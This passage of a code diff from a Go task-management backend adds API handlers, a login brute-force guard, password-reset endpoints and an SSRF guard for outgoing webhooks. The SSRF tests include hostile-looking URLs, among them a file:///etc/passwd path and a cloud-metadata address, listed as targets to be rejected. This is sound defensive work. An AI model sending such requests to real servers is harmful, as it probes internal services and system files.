if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
role := strings.ToLower(strings.TrimSpace(req.Role))
if role != "admin" && role != "member" {
writeError(w, http.StatusBadRequest, "Ungültige Rolle (erlaubt sind: admin, member)")
return
}
if err := s.store.UpdateTeamMemberRole(teamID, memberUserID, role); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
members, _ := s.store.GetTeamMembers(teamID)
writeJSON(w, http.StatusOK, members)
}
func (s *Server) handleRemoveTeamMember(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
teamID := chi.URLParam(r, "id")
memberUserID := chi.URLParam(r, "userId")
isSelf := userID == memberUserID
isAdmin := s.isTeamAdmin(userID, teamID)
if !isSelf && !isAdmin {
writeError(w, http.StatusForbidden, "Nicht berechtigt, dieses Mitglied zu entfernen")
return
}
if err := s.store.RemoveTeamMember(teamID, memberUserID); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"removed": true})
}
+332
View File
@@ -0,0 +1,332 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/domain"
"github.com/sandrodach/mindsift/internal/storage"
)
func (s *Server) handleCaptureInbox(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
Content string `json:"content"`
Priority string `json:"priority"`
Source string `json:"source"`
DueDate string `json:"dueDate"`
DueDate2 string `json:"due_date"`
Target string `json:"target"` // inbox | task | list_item | document
TargetListID string `json:"targetListId"`
TargetList2 string `json:"target_list_id"`
TaskListID string `json:"taskListId"`
TaskListID2 string `json:"task_list_id"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
dueDate := req.DueDate
if dueDate == "" {
dueDate = req.DueDate2
}
targetListID := req.TargetListID
if targetListID == "" {
targetListID = req.TargetList2
}
taskListID := req.TaskListID
if taskListID == "" {
taskListID = req.TaskListID2
}
source := strings.ToLower(strings.TrimSpace(req.Source))
if source == "" {
source = strings.ToLower(strings.TrimSpace(r.URL.Query().Get("source")))
}
if source == "" {
source = strings.ToLower(strings.TrimSpace(r.Header.Get("X-Source")))
}
if source == "" {
// When called via API key or webhook token, automatically default source to "webhook"
if r.Header.Get("X-API-Key") != "" ||
strings.HasPrefix(r.Header.Get("Authorization"), "Bearer mindsift_sec_") ||
strings.HasPrefix(r.URL.Query().Get("token"), "mindsift_sec_") {
source = "webhook"
} else {
source = "manual"
}
}
if !requireDeliveryScope(w, r, strings.TrimSpace(req.Target)) {
return
}
thought, err := s.store.CreateThoughtWithDetails(userID, req.Content, req.Priority, source, dueDate, taskListID, "todo", "")
if err != nil {
writeStoreError(w, http.StatusBadRequest, err)
return
}
target := strings.TrimSpace(req.Target)
if target == "task" || target == "document" || (target == "list_item" && targetListID != "") {
if converted, convErr := s.store.UpdateThoughtTriage(userID, thought.ID, "keep", target, targetListID, dueDate, taskListID); convErr == nil && converted != nil {
thought = converted
if target == "list_item" && targetListID != "" {
if lst, lErr := s.store.GetListByID(userID, targetListID); lErr == nil && lst != nil {
s.wsHub.BroadcastListEvent(lst.ID, "LIST_UPDATED", lst)
}
}
}
}
s.wsHub.BroadcastToUsers(s.taskAudience(thought), "TASK_CREATED", thought)
writeJSON(w, http.StatusCreated, thought)
}
func (s *Server) handleGetThoughts(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
status := r.URL.Query().Get("status")
thoughts, err := s.store.GetThoughts(userID, status, 250)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, thoughts)
}
func (s *Server) handleGetThought(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
thoughtID := chi.URLParam(r, "id")
thought, err := s.store.GetThoughtByID(userID, thoughtID)
if err != nil || thought == nil {
writeError(w, http.StatusNotFound, "Aufgabe nicht gefunden")
return
}
writeJSON(w, http.StatusOK, thought)
}
func (s *Server) handleGetTriageDeck(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
thoughts, err := s.store.GetThoughts(userID, "inbox", 100)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, thoughts)
}
func (s *Server) handleTriageAction(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
thoughtID := chi.URLParam(r, "id")
var req struct {
Action string `json:"action"` // keep | discard | restore
ConvertTo string `json:"convertTo"`
ConvertTo2 string `json:"convert_to"`
TargetListID string `json:"targetListId"`
TargetList2 string `json:"target_list_id"`
TaskListID string `json:"taskListId"`
TaskListID2 string `json:"task_list_id"`
DueDate string `json:"dueDate"`
DueDate2 string `json:"due_date"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
convertTo := req.ConvertTo
if convertTo == "" {
convertTo = req.ConvertTo2
}
targetListID := req.TargetListID
if targetListID == "" {
targetListID = req.TargetList2
}
taskListID := req.TaskListID
if taskListID == "" {
taskListID = req.TaskListID2
}
dueDate := req.DueDate
if dueDate == "" {
dueDate = req.DueDate2
}
updated, err := s.store.UpdateThoughtTriage(userID, thoughtID, req.Action, convertTo, targetListID, dueDate, taskListID)
if err != nil {
writeStoreError(w, http.StatusBadRequest, err)
return
}
// If converted to a list item, broadcast via WebSocket to the space
if convertTo == "list_item" && targetListID != "" {
if lst, err := s.store.GetListByID(userID, targetListID); err == nil && lst != nil {
s.wsHub.BroadcastListEvent(lst.ID, "LIST_UPDATED", lst)
}
}
s.wsHub.BroadcastToUsers(s.taskAudience(updated), "TASK_UPDATED", updated)
writeJSON(w, http.StatusOK, updated)
}
func (s *Server) handleGetTasks(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
taskListID := r.URL.Query().Get("taskListId")
tasks, err := s.store.GetTasks(userID, taskListID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, tasks)
}
func (s *Server) handleReorderTasks(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
taskListID := chi.URLParam(r, "id")
if taskListID == "" {
taskListID = r.URL.Query().Get("taskListId")
}
var req struct {
Items []domain.ThoughtReorderItem `json:"items"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if taskListID != "" && !s.store.CanEditTaskList(userID, taskListID) {
writeError(w, http.StatusForbidden, storage.ErrTaskListReadOnly.Error())
return
}
// ReorderTasks updates by ID only, so every item must be a task the caller may edit
audience := []string{userID}
for _, it := range req.Items {
th, err := s.store.GetThoughtByID(userID, it.ID)
if err != nil {
writeError(w, http.StatusNotFound, "Aufgabe nicht gefunden")
return
}
if th.TaskListID != "" && !s.store.CanEditTaskList(userID, th.TaskListID) {
writeError(w, http.StatusForbidden, storage.ErrTaskListReadOnly.Error())
return
}
audience = append(audience, s.taskAudience(th)...)
}
if err := s.store.ReorderTasks(taskListID, req.Items); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.wsHub.BroadcastToUsers(audience, "TASK_REORDERED", map[string]interface{}{
"taskListId": taskListID,
"items": req.Items,
"userId": userID,
})
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
}
func (s *Server) handleUpdateThought(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
thoughtID := chi.URLParam(r, "id")
var req struct {
Content *string `json:"content"`
IsCompleted *bool `json:"isCompleted"`
DueDate *string `json:"dueDate"`
Priority *string `json:"priority"`
TaskListID *string `json:"taskListId"`
KanbanStatus *string `json:"kanbanStatus"`
Notes *string `json:"notes"`
Subtasks *[]domain.SubTask `json:"subtasks"`
Tags *[]string `json:"tags"`
Assignees *[]string `json:"assignees"`
Recurrence *string `json:"recurrence"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
before, _ := s.store.GetThoughtByID(userID, thoughtID)
// The rule is set first, so completing a task in the same request already repeats it
if req.Recurrence != nil {
if err := s.store.SetTaskRecurrence(userID, thoughtID, strings.TrimSpace(*req.Recurrence)); err != nil {
writeStoreError(w, http.StatusBadRequest, err)
return
}
}
updated, err := s.store.UpdateThoughtDetails(userID, thoughtID, req.Content, req.IsCompleted, req.DueDate, req.Priority, req.TaskListID, req.KanbanStatus, req.Notes, req.Subtasks, req.Tags)
if err != nil {
writeStoreError(w, http.StatusBadRequest, err)
return
}
if req.Assignees != nil {
assignees, err := s.store.SetTaskAssignees(userID, thoughtID, *req.Assignees)
if err != nil {
writeStoreError(w, http.StatusBadRequest, err)
return
}
updated.Assignees = assignees
}
if docID := s.store.SyncDocBlockAndTask(userID, thoughtID, updated.IsCompleted); docID != "" {
_, head, _ := s.store.GetDocOpsSince(docID, 0, 0)
s.notifyDocChanged(docID, head)
}
s.wsHub.BroadcastToUsers(append(s.taskAudience(before), s.taskAudience(updated)...), "TASK_UPDATED", updated)
writeJSON(w, http.StatusOK, updated)
}
func (s *Server) handleUnlinkEnhancedTask(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
thoughtID := chi.URLParam(r, "id")
if err := s.store.UnlinkTaskFromDocBlock(userID, thoughtID); err != nil {
writeStoreError(w, http.StatusNotFound, err)
return
}
writeJSON(w, http.StatusOK, map[string]bool{"unlinked": true})
}
func (s *Server) handleDeleteThought(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
thoughtID := chi.URLParam(r, "id")
th, err := s.store.GetThoughtByID(userID, thoughtID)
if err == nil && th.TaskListID != "" && !s.store.CanEditTaskList(userID, th.TaskListID) {
writeError(w, http.StatusForbidden, storage.ErrTaskListReadOnly.Error())
return
}
audience := s.taskAudience(th)
if err := s.store.DeleteThought(userID, thoughtID); err != nil {
writeStoreError(w, http.StatusInternalServerError, err)
return
}
s.wsHub.BroadcastToUsers(audience, "TASK_DELETED", map[string]string{"id": thoughtID})
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handlePurgeDiscarded(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
count, err := s.store.PurgeDiscardedThoughts(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]int64{"purged": count})
}
// --- SEARCH & EXPORT ---
func (s *Server) handleSearch(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
q := r.URL.Query().Get("q")
res, err := s.store.SearchGlobal(userID, q)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, res)
}
+147
View File
@@ -0,0 +1,147 @@
package api
import (
"fmt"
"math"
"net/http"
"strconv"
"strings"
"sync"
"time"
)
// Brute-force protection for the login (FLAW-09). Failed attempts are counted in memory in three
// buckets; when one is full, logins for it are refused with 429 for the lock time:
// account + IP 3 failures the attacker's address is locked out of this account, the real owner
// logging in from elsewhere is not
// account 20 failures stops attacks spread over many addresses
// IP 30 failures stops one address trying many accounts
// A bucket counts failures within the lock window and starts over afterwards. A successful login
// clears the account buckets; a password reset clears the account completely. LOGIN_PROTECTION=false
// switches all of it off. Counters are lost on restart, which is fine for this purpose.
const (
loginLockWindow = 15 * time.Minute
loginLimitAccountIP = 3
loginLimitAccount = 20
loginLimitIP = 30
loginGuardCleanupEach = 5 * time.Minute
)
type loginBucket struct {
count int
windowStart time.Time
lockedUntil time.Time
}
type loginGuard struct {
enabled bool
now func() time.Time
mu sync.Mutex
buckets map[string]*loginBucket
lastCleanup time.Time
}
func newLoginGuard(enabled bool) *loginGuard {
return &loginGuard{enabled: enabled, now: time.Now, buckets: map[string]*loginBucket{}}
}
type loginKey struct {
key string
limit int
}
// loginKeys: account is the user ID (or the typed login for unknown names, so both look the same).
// The IP buckets are left out when the IP is not known (proxy without client header).
func loginKeys(account string, ip clientIPInfo) []loginKey {
keys := []loginKey{{"acct:" + account, loginLimitAccount}}
if !ip.viaProxyWithoutHeader && ip.ip != "" {
keys = append(keys, loginKey{"acctip:" + account + "|" + ip.ip, loginLimitAccountIP}, loginKey{"ip:" + ip.ip, loginLimitIP})
}
return keys
}
// lockedFor returns how long the login is still refused (0 = allowed).
func (g *loginGuard) lockedFor(account string, ip clientIPInfo) time.Duration {
if !g.enabled {
return 0
}
g.mu.Lock()
defer g.mu.Unlock()
now := g.now()
var wait time.Duration
for _, k := range loginKeys(account, ip) {
if b := g.buckets[k.key]; b != nil && b.lockedUntil.After(now) && b.lockedUntil.Sub(now) > wait {
wait = b.lockedUntil.Sub(now)
}
}
return wait
}
func (g *loginGuard) recordFailure(account string, ip clientIPInfo) {
if !g.enabled {
return
}
g.mu.Lock()
defer g.mu.Unlock()
now := g.now()
g.cleanupLocked(now)
for _, k := range loginKeys(account, ip) {
b := g.buckets[k.key]
if b == nil || now.Sub(b.windowStart) > loginLockWindow {
b = &loginBucket{windowStart: now}
g.buckets[k.key] = b
}
b.count++
if b.count >= k.limit {
b.lockedUntil = now.Add(loginLockWindow)
}
}
}
// recordSuccess clears the counters of this account (the IP bucket stays, so one valid login cannot
// be used to keep trying other accounts).
func (g *loginGuard) recordSuccess(account string, ip clientIPInfo) {
if !g.enabled {
return
}
g.mu.Lock()
defer g.mu.Unlock()
delete(g.buckets, "acct:"+account)
delete(g.buckets, "acctip:"+account+"|"+ip.ip)
}
// unlockAccount lifts every lock of the account, e.g. after a password reset by mail or by an admin.
func (g *loginGuard) unlockAccount(account string) {
g.mu.Lock()
defer g.mu.Unlock()
for k := range g.buckets {
if k == "acct:"+account || strings.HasPrefix(k, "acctip:"+account+"|") {
delete(g.buckets, k)
}
}
}
func (g *loginGuard) cleanupLocked(now time.Time) {
if now.Sub(g.lastCleanup) < loginGuardCleanupEach {
return
}
g.lastCleanup = now
for k, b := range g.buckets {
if now.Sub(b.windowStart) > loginLockWindow && !b.lockedUntil.After(now) {
delete(g.buckets, k)
}
}
}
func writeLoginLocked(w http.ResponseWriter, wait time.Duration) {
minutes := int(math.Ceil(wait.Minutes()))
w.Header().Set("Retry-After", strconv.Itoa(int(math.Ceil(wait.Seconds()))))
unit := "Minuten"
if minutes == 1 {
unit = "Minute"
}
writeError(w, http.StatusTooManyRequests,
fmt.Sprintf("Zu viele fehlgeschlagene Anmeldeversuche. Die Anmeldung ist für noch %d %s gesperrt.", minutes, unit))
}
+136
View File
@@ -0,0 +1,136 @@
package api
import (
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/sandrodach/mindsift/internal/auth"
)
func TestResolveClientIP(t *testing.T) {
h := func(kv ...string) http.Header {
out := http.Header{}
for i := 0; i < len(kv); i += 2 {
out.Set(kv[i], kv[i+1])
}
return out
}
private := parseProxyTrust("private")
cases := []struct {
name string
trust proxyTrust
peer string
hdr http.Header
want string
noHdr bool
}{
{"proxy in docker network passes the visitor", private, "172.18.0.2", h("X-Forwarded-For", "203.0.113.7"), "203.0.113.7", false},
{"spoofed left part of the chain is ignored", private, "172.18.0.2", h("X-Forwarded-For", "1.2.3.4, 203.0.113.7, 10.0.0.5"), "203.0.113.7", false},
{"X-Real-IP from a trusted proxy", private, "127.0.0.1", h("X-Real-IP", "198.51.100.9"), "198.51.100.9", false},
{"direct visitor cannot fake an address", private, "203.0.113.50", h("X-Forwarded-For", "1.2.3.4"), "203.0.113.50", false},
{"proxy without header is flagged", private, "172.18.0.2", h(), "172.18.0.2", true},
{"all: headers always believed", parseProxyTrust("all"), "203.0.113.50", h("X-Forwarded-For", "1.2.3.4, 5.6.7.8"), "1.2.3.4", false},
{"none: headers never believed", parseProxyTrust("none"), "172.18.0.2", h("X-Forwarded-For", "1.2.3.4"), "172.18.0.2", false},
{"external proxy by CIDR", parseProxyTrust("private,198.51.100.0/24"), "198.51.100.1", h("CF-Connecting-IP", "203.0.113.8"), "203.0.113.8", false},
}
for _, c := range cases {
got := c.trust.resolveClientIP(c.peer, c.hdr)
if got.ip != c.want || got.viaProxyWithoutHeader != c.noHdr {
t.Errorf("%s: got %+v, want %s (noHeader=%v)", c.name, got, c.want, c.noHdr)
}
}
}
func TestLoginGuardBuckets(t *testing.T) {
g := newLoginGuard(true)
now := time.Date(2026, 10, 29, 12, 0, 0, 0, time.UTC)
g.now = func() time.Time { return now }
attacker := clientIPInfo{ip: "203.0.113.66"}
owner := clientIPInfo{ip: "198.51.100.10"}
for i := 0; i < loginLimitAccountIP; i++ {
g.recordFailure("usr_admin", attacker)
}
if g.lockedFor("usr_admin", attacker) != loginLockWindow {
t.Fatalf("3 failures from one address must lock that address out of the account")
}
if g.lockedFor("usr_admin", owner) != 0 {
t.Fatalf("the owner logging in from elsewhere must not be locked out")
}
// Spread over many addresses: the account itself locks at 20
for i := 0; i < loginLimitAccount; i++ {
g.recordFailure("usr_admin", clientIPInfo{ip: "192.0.2." + string(rune('0'+i%10)) + string(rune('0'+i/10))})
}
if g.lockedFor("usr_admin", owner) == 0 {
t.Fatalf("20 failures across addresses must lock the account")
}
g.unlockAccount("usr_admin")
if g.lockedFor("usr_admin", owner) != 0 || g.lockedFor("usr_admin", attacker) != 0 {
t.Fatalf("unlockAccount must lift account and account+IP locks")
}
// The lock ends by itself
for i := 0; i < loginLimitAccountIP; i++ {
g.recordFailure("usr_ben", attacker)
}
now = now.Add(loginLockWindow + time.Second)
if g.lockedFor("usr_ben", attacker) != 0 {
t.Fatalf("lock must expire after the window")
}
// Without a known client IP only the account bucket counts
proxied := clientIPInfo{ip: "172.18.0.2", viaProxyWithoutHeader: true}
for i := 0; i < 10; i++ {
g.recordFailure("usr_carla", proxied)
}
if g.lockedFor("usr_carla", proxied) != 0 {
t.Fatalf("per-IP limits must not apply when the proxy hides the client IP")
}
off := newLoginGuard(false)
for i := 0; i < 50; i++ {
off.recordFailure("usr_admin", attacker)
}
if off.lockedFor("usr_admin", attacker) != 0 {
t.Fatalf("LOGIN_PROTECTION=false must never lock")
}
}
func TestLoginLockedAfterThreeFailures(t *testing.T) {
srv, store, _ := setupTestServer(t)
router := srv.Router()
_, _ = store.CreateUser("lock@example.com", mustHash(t, "richtig123"), "Lock", "member")
login := func(pw, from string) *httptest.ResponseRecorder {
req := httptest.NewRequest("POST", "/api/v1/auth/login", strings.NewReader(`{"login":"lock@example.com","password":"`+pw+`"}`))
req.Header.Set("Content-Type", "application/json")
req.RemoteAddr = from + ":4711"
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
for i := 0; i < 3; i++ {
if rec := login("falsch", "203.0.113.66"); rec.Code != http.StatusUnauthorized {
t.Fatalf("attempt %d: want 401, got %d", i+1, rec.Code)
}
}
rec := login("richtig123", "203.0.113.66")
if rec.Code != http.StatusTooManyRequests || rec.Header().Get("Retry-After") == "" || !strings.Contains(rec.Body.String(), "15 Minuten") {
t.Fatalf("locked login: want 429 with Retry-After, got %d %s", rec.Code, rec.Body.String())
}
if rec := login("richtig123", "198.51.100.10"); rec.Code != http.StatusOK {
t.Fatalf("owner from another address must still log in, got %d", rec.Code)
}
}
func mustHash(t *testing.T, pw string) string {
t.Helper()
h, err := auth.HashPassword(pw)
if err != nil {
t.Fatal(err)
}
return h
}
+134
View File
@@ -0,0 +1,134 @@
package api
import (
"context"
"errors"
"fmt"
"net"
"net/http"
"net/url"
"strings"
"time"
)
// Outgoing alarm requests (Discord, custom webhooks) go to user-supplied URLs. Without checks a user
// could make the server call internal services (SSRF): localhost, the Docker network or cloud metadata.
var errBlockedTarget = errors.New("Ziel nicht erlaubt: interne oder reservierte Adresse")
func mustCIDRs(list ...string) []*net.IPNet {
out := make([]*net.IPNet, 0, len(list))
for _, c := range list {
_, n, err := net.ParseCIDR(c)
if err != nil {
panic(err)
}
out = append(out, n)
}
return out
}
var (
// Never reachable: this machine, link-local incl. cloud metadata (169.254.169.254), "this network"
alwaysBlocked = mustCIDRs("127.0.0.0/8", "::1/128", "169.254.0.0/16", "fe80::/10", "0.0.0.0/8", "::/128")
// Home/LAN ranges (incl. CGNAT as used by Tailscale), only with the admin switch
// "Ziele im lokalen Netz erlauben"
privateRanges = mustCIDRs("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "fc00::/7", "100.64.0.0/10")
)
func targetIPAllowed(ip net.IP, allowPrivate bool) bool {
if ip == nil || ip.IsMulticast() || ip.IsUnspecified() {
return false
}
if v4 := ip.To4(); v4 != nil {
ip = v4
}
for _, n := range alwaysBlocked {
if n.Contains(ip) {
return false
}
}
if !allowPrivate {
for _, n := range privateRanges {
if n.Contains(ip) {
return false
}
}
}
return true
}
// validateWebhookURL checks a URL before it is stored or called. HTTPS is required unless the admin
// allows local targets (LAN services often speak plain HTTP). Discord URLs must point to Discord.
func validateWebhookURL(raw string, discord, allowPrivate bool) error {
raw = strings.TrimSpace(raw)
if raw == "" {
return nil
}
u, err := url.Parse(raw)
if err != nil || u.Host == "" {
return errors.New("Ungültige URL")
}
switch u.Scheme {
case "https":
case "http":
if !allowPrivate {
return errors.New("Nur https-URLs sind erlaubt (http nur mit freigegebenen Zielen im lokalen Netz)")
}
default:
return errors.New("Nur https-URLs sind erlaubt")
}
if discord {
host := strings.ToLower(u.Hostname())
if u.Scheme != "https" || (host != "discord.com" && host != "discordapp.com") || !strings.HasPrefix(u.Path, "/api/webhooks/") {
return errors.New("Discord-Webhooks müssen mit https://discord.com/api/webhooks/ beginnen")
}
}
if ip := net.ParseIP(u.Hostname()); ip != nil && !targetIPAllowed(ip, allowPrivate) {
return errBlockedTarget
}
return nil
}
// guardedClient resolves the host itself and only connects to allowed addresses. Checking at dial time
// (not just the URL) also covers DNS tricks and redirects; proxies from the environment are not used.
func guardedClient(allowPrivate bool) *http.Client {
dialer := &net.Dialer{Timeout: 5 * time.Second}
transport := &http.Transport{
Proxy: nil,
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
host, port, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
for _, ip := range ips {
if targetIPAllowed(ip.IP, allowPrivate) {
return dialer.DialContext(ctx, network, net.JoinHostPort(ip.IP.String(), port))
}
}
return nil, fmt.Errorf("%w (%s)", errBlockedTarget, host)
},
TLSHandshakeTimeout: 5 * time.Second,
ResponseHeaderTimeout: 10 * time.Second,
MaxIdleConns: 10,
}
return &http.Client{
Timeout: 10 * time.Second,
Transport: transport,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return errors.New("zu viele Weiterleitungen")
}
return nil
},
}
}
func (s *Server) allowPrivateWebhooks() bool {
sys, _ := s.store.GetSystemSettings()
return sys != nil && sys.AllowPrivateWebhooks
}
+79
View File
@@ -0,0 +1,79 @@
package api
import (
"net"
"net/http"
"net/http/httptest"
"strings"
"testing"
)
func TestTargetIPAllowed(t *testing.T) {
cases := []struct {
ip string
allowPrivate bool
want bool
}{
{"127.0.0.1", true, false},
{"::1", true, false},
{"169.254.169.254", true, false}, // cloud metadata
{"0.0.0.0", true, false},
{"192.168.1.20", false, false},
{"192.168.1.20", true, true},
{"10.0.0.5", false, false},
{"100.101.102.103", true, true}, // Tailscale
{"fd00::1", false, false},
{"93.184.216.34", false, true},
{"::ffff:127.0.0.1", true, false}, // IPv4-mapped loopback
}
for _, c := range cases {
if got := targetIPAllowed(net.ParseIP(c.ip), c.allowPrivate); got != c.want {
t.Errorf("targetIPAllowed(%s, private=%v) = %v, want %v", c.ip, c.allowPrivate, got, c.want)
}
}
}
func TestValidateWebhookURL(t *testing.T) {
ok := []struct {
url string
discord, private bool
}{
{"https://discord.com/api/webhooks/1/abc", true, false},
{"https://hooks.example.org/x", false, false},
{"http://192.168.1.20:8123/api/webhook/x", false, true},
{"", false, false},
}
for _, c := range ok {
if err := validateWebhookURL(c.url, c.discord, c.private); err != nil {
t.Errorf("%q should be allowed: %v", c.url, err)
}
}
bad := []struct {
url string
discord, private bool
}{
{"http://hooks.example.org/x", false, false},
{"https://evil.example.org/api/webhooks/1", true, false},
{"https://127.0.0.1/x", false, true},
{"https://169.254.169.254/latest/meta-data", false, true},
{"https://192.168.1.20/x", false, false},
{"file:///etc/passwd", false, true},
{"gopher://x", false, false},
}
for _, c := range bad {
if err := validateWebhookURL(c.url, c.discord, c.private); err == nil {
t.Errorf("%q must be rejected", c.url)
}
}
}
// A hostname that resolves to localhost (like a test server or a DNS rebinding trick) is refused at
// connection time even though the URL itself looks harmless.
func TestGuardedClientRefusesLoopbackAtDial(t *testing.T) {
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(204) }))
defer ts.Close()
url := strings.Replace(ts.URL, "127.0.0.1", "localhost", 1)
if _, err := guardedClient(true).Get(url); err == nil || !strings.Contains(err.Error(), "nicht erlaubt") {
t.Fatalf("loopback must be refused at dial time, got %v", err)
}
}
+93
View File
@@ -0,0 +1,93 @@
package api
import (
"encoding/json"
"errors"
"fmt"
"log/slog"
"net/http"
"net/url"
"strings"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/storage"
)
// passwordResetAvailable: mails can be sent and links point to a known address (BASE_URL).
func (s *Server) passwordResetAvailable() bool {
if !s.cfg.BaseURLSet || s.cfg.DemoMode {
return false
}
_, err := s.smtpSettings()
return err == nil
}
// handleForgotPassword always answers the same, whether the address exists or not, and sends the mail
// in the background so the response time does not tell either.
func (s *Server) handleForgotPassword(w http.ResponseWriter, r *http.Request) {
if !s.passwordResetAvailable() {
writeError(w, http.StatusServiceUnavailable, "Passwort-Zurücksetzen ist auf diesem Server nicht eingerichtet. Bitte wende dich an die Administration.")
return
}
var req struct {
Email string `json:"email"`
}
if err := json.NewDecoder(http.MaxBytesReader(w, r.Body, 4096)).Decode(&req); err != nil || strings.TrimSpace(req.Email) == "" {
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
return
}
email := strings.TrimSpace(req.Email)
go func() {
user, err := s.store.GetUserByEmail(email)
if err != nil || user == nil || !user.IsActive {
return
}
token, err := s.store.CreatePasswordResetToken(user.ID)
if err != nil {
if !errors.Is(err, storage.ErrResetTooSoon) {
slog.Warn("Passwort-Reset: Token konnte nicht erzeugt werden", "error", err)
}
return
}
link := strings.TrimRight(s.cfg.BaseURL, "/") + "/?resetToken=" + url.QueryEscape(token)
body := fmt.Sprintf("Hallo %s,\n\nfür dein MindSift-Konto wurde ein neues Passwort angefordert. "+
"Über diesen Link kannst du es innerhalb der nächsten Stunde festlegen:\n\n%s\n\n"+
"Der Link funktioniert nur einmal. Hast du das nicht angefordert, ignoriere diese E-Mail; dein Passwort bleibt unverändert.\n",
user.DisplayName, link)
_ = s.sendEmailNotification(user.Email, "MindSift: Passwort zurücksetzen", body)
}()
writeJSON(w, http.StatusOK, map[string]bool{"ok": true})
}
func (s *Server) handleResetPassword(w http.ResponseWriter, r *http.Request) {
var req struct {
Token string `json:"token"`
Password string `json:"password"`
}
if err := json.NewDecoder(http.MaxBytesReader(w, r.Body, 4096)).Decode(&req); err != nil || req.Token == "" {
writeError(w, http.StatusBadRequest, storage.ErrResetTokenInvalid.Error())
return
}
if err := auth.ValidatePassword(req.Password); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
hash, err := auth.HashPassword(req.Password)
if err != nil {
writeError(w, http.StatusInternalServerError, "Passwort konnte nicht gespeichert werden")
return
}
userID, err := s.store.ResetPasswordWithToken(req.Token, hash)
if err != nil {
if errors.Is(err, storage.ErrResetTokenInvalid) {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeError(w, http.StatusInternalServerError, "Passwort konnte nicht gespeichert werden")
return
}
s.loginGuard.unlockAccount(userID)
s.wsHub.DisconnectUser(userID)
slog.Info("Passwort per E-Mail-Link zurückgesetzt", "user_id", userID)
writeJSON(w, http.StatusOK, map[string]bool{"ok": true})
}
+127
View File
@@ -0,0 +1,127 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
)
// authenticateUserFromReq authenticates a live stream: a one-time ticket (?ticket=, browsers) or a
// session in the Authorization header (other clients). Session tokens in the URL are not accepted any
// more (FLAW-22), API keys never (streams carry the user's data, keys only deliver).
func (s *Server) authenticateUserFromReq(r *http.Request) string {
if id := r.URL.Query().Get("ticket"); id != "" {
tk, ok := s.streamTickets.consume(id)
if !ok {
return ""
}
u, err := s.store.GetUserByID(tk.userID)
if err != nil || u == nil || !u.IsActive || u.TokenVersion != tk.tokenVersion {
return ""
}
return u.ID
}
token := ""
if authHdr := r.Header.Get("Authorization"); strings.HasPrefix(authHdr, "Bearer ") {
token = strings.TrimPrefix(authHdr, "Bearer ")
}
if user, keyScopes := s.authenticateToken(token); user != nil && keyScopes == nil {
return user.ID
}
return ""
}
func (s *Server) handleWebSocket(w http.ResponseWriter, r *http.Request) {
// Some corporate proxies and reverse proxies (e.g. OpenResty/Nginx or HTTP/2 intermediaries)
// strip or alter the Connection header (e.g. "close" or missing) while passing
// Sec-WebSocket-Key or Upgrade: websocket. Normalize it so Gorilla Upgrader succeeds.
if r.Header.Get("Sec-Websocket-Key") != "" {
if !strings.Contains(strings.ToLower(r.Header.Get("Connection")), "upgrade") {
r.Header.Set("Connection", "Upgrade")
}
if !strings.Contains(strings.ToLower(r.Header.Get("Upgrade")), "websocket") {
r.Header.Set("Upgrade", "websocket")
}
}
